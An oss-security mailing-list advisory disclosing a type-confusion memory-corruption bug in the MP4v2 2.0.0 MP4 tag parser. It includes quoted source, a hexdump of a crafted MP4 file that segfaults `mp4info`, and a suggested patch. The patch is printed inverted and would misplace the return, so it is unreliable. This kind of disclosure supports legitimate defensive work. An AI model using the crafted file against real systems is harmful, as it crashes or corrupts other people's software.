[prev in list] [next in list] [prev in thread] [next in thread] 

List:       oss-security
Subject:    [oss-security] Type confusion in MP4v2 2.0.0
From:       Ruikai Liu <lrk700 () gmail ! com>
Date:       2018-07-17 6:30:48
Message-ID: CAB6DpjV_tb8s0O39dgocNk23cRK3TcQeAeA34wUhYkeXooM1wA () mail ! gmail ! com
[Download RAW message or body]

Hi,

A type confusion bug is found in MP4v2 2.0.0, a legacy library dealing
with MP4 media file.

========= ilst box =========

According to ref[2], MP4 file could contain an `ilst` box, which
stands for item list. Tags such as album, author, etc., are stored
here. A typical `ilst` box looks like this:

[ilst box] --> [nam box(full name)] -> [data box]
         |---> [cmt box(comment)] -> [data box]
         |---> [day box(created time)] -> [data box]
         ...

MP4v2 would use `MP4ItemAtom` for nam/cmt/... box, and `MP4DataAtom`
for data box:

 772 MP4Atom*
 773 MP4Atom::factory( MP4File &file, MP4Atom* parent, const char* type )
 774 {
 775     // type may be NULL only in case of root-atom
 776     if( !type )
 777         return new MP4RootAtom(file);
 778
 779     // construct atoms which are context-savvy
 780     if( parent ) {
 781         const char* const ptype = parent->GetType();
 782
 783         if( descendsFrom( parent, "ilst" )) {
 784             if( ATOMID( ptype ) == ATOMID( "ilst" ))
 785                 return new MP4ItemAtom( file, type );
 786
 787             if( ATOMID( type ) == ATOMID( "data" ))
 788                 return new MP4DataAtom(file);

However, if a crafted MP4 file has the following structure:

[ilst box] -> [ilst box] -> [data box]

Then `MP4ItemAtom` would be created for the data box instead of
`MP4DataAtom`, since its parent is still of type `ilst`.

========= type confusion =========

Now, to parse the tag info of the MP4 file, `Tags::c_fetch` is called,
which invokes `genericGetItems`:

293 MP4ItmfItemList*
294 genericGetItems( MP4File& file )
295 {
296     MP4Atom* ilst = file.FindAtom( "moov.udta.meta.ilst" );
297     if( !ilst )
298         return __itemListAlloc();
299
300     const uint32_t itemCount = ilst->GetNumberOfChildAtoms();
301     if( itemCount < 1 )
302         return __itemListAlloc();
303
304     MP4ItmfItemList& list = *__itemListAlloc();
305     __itemListResize( list, itemCount );
306
307     for( uint32_t i = 0; i < list.size; i++ )
308         __itemAtomToModel( *(MP4ItemAtom*)ilst->GetChildAtom( i ),
list.elements[i] );
309
310     return &list;
311 }

Here we first find the atom for `ilst`, and then iterate its child
atoms. Remember that there's a duplicate `ilst` in the crafted MP4
file, in which case the root `ilst` atom's child is a `MP4ItemAtom` of
type `ilst`, and its grandchild is a `MP4ItemAtom` of type `data`.

Then in the function `__itemAtomToModel`, the `MP4ItemAtom` of type
`ilst` is parsed:

153 static bool
154 __itemAtomToModel( MP4ItemAtom& item_atom, MP4ItmfItem& model )
...
193     // pass 2: populate data model
194     for( uint32_t i = 0, idata = 0; i < childCount; i++ ) {
195         MP4Atom* atom = item_atom.GetChildAtom( i );
196         if( ATOMID( atom->GetType() ) != ATOMID( "data" ))
197             continue;
198
199         MP4DataAtom& data_atom = *(MP4DataAtom*)atom;

We can see that line 199 would cast its child to `MP4DataAtom`
directly, which in fact is a `MP4ItemAtom`. Since these two objects
are of different layout, operations on the `data_atom` could lead to
memory corruption due to the type confusion.

========= POC =========

Here we create a MP4 file with two `ilst`s:

root@debian:~# xxd c3.mp4
00000000: 0000 0018 6674 7970 6d70 3432 0000 0000  ....ftypmp42....
00000010: 6d70 3432 6973 6f6d 0000 00b8 6d6f 6f76  mp42isom....moov
00000020: 0000 006c 6d76 6864 0000 0000 1234 5678  ...lmvhd.....4Vx
00000030: 2345 6789 0000 0258 9876 5432 0987 6543  #Eg....X.vT2..eC
00000040: 5600 0000 0000 0000 0000 0000 0000 0000  V...............
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0000 0000 0000 dead beef 0000 0044  ...............D
00000090: 7564 7461 0000 003c 6d65 7461 0000 0000  udta...<meta....
000000a0: 0000 0030 696c 7374 0000 0028 696c 7374  ...0ilst...(ilst
000000b0: 0000 0008 6461 7461 0000 0008 6461 7461  ....data....data
000000c0: 0000 0008 6461 7461 0000 0008 6461 7461  ....data....data

It results in segfault when running `mp4info`:

root@debian:~# mp4info c3.mp4
mp4info version -r
c3.mp4:
ReadChildAtoms: "c3.mp4": In atom data missing child atom data
ReadChildAtoms: "c3.mp4": In atom data missing child atom data
ReadChildAtoms: "c3.mp4": In atom data missing child atom data
ReadChildAtoms: "c3.mp4": In atom data missing child atom data
ReadChildAtoms: "c3.mp4": In atom meta missing child atom hdlr
ReadChildAtoms: "c3.mp4": In atom moov missing child atom trak
Track   Type    Info
ReadChildAtoms: "c3.mp4": In atom data missing child atom data
ReadChildAtoms: "c3.mp4": In atom data missing child atom data
ReadChildAtoms: "c3.mp4": In atom data missing child atom data
ReadChildAtoms: "c3.mp4": In atom data missing child atom data
ReadChildAtoms: "c3.mp4": In atom meta missing child atom hdlr
ReadChildAtoms: "c3.mp4": In atom moov missing child atom trak
Segmentation fault

root@debian:~#
root@debian:~# dpkg -s mp4v2-utils
Package: mp4v2-utils
Status: install ok installed
Priority: optional
Section: sound
Installed-Size: 300
Maintainer: Debian Multimedia Maintainers
<pkg-multimedia-maintainers@lists.alioth.debian.org>
Architecture: amd64
Source: mp4v2 (2.0.0~dfsg0-5)
Version: 2.0.0~dfsg0-5+b1
Depends: libmp4v2-2 (= 2.0.0~dfsg0-5+b1), libc6 (>= 2.14), libgcc1 (>=
1:3.0), libstdc++6 (>= 5.2)

========= fix =========

The bug is caused by the wrong assumption that the child of an `ilst`
can never be an `ilst`. So we could fix it by simply adding an ASSERT:

--- src/mp4atom.cpp     2018-07-17 11:37:01.266702613 +0800
+++ ../mp4v2-2.0.0-orig/src/mp4atom.cpp 2018-07-17 14:20:54.986316212 +0800
@@ -783,6 +783,7 @@

         if( descendsFrom( parent, "ilst" )) {
             if( ATOMID( ptype ) == ATOMID( "ilst" ))
-                ASSERT(ATOMID( type ) != ATOMID( "ilst" ));
                 return new MP4ItemAtom( file, type );

             if( ATOMID( type ) == ATOMID( "data" )) {



========= Reference =========

[1] https://code.google.com/archive/p/mp4v2/
[2] http://xhelmboyx.tripod.com/formats/mp4-layout.txt

-- 
Best regards,

Ruikai Liu
[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic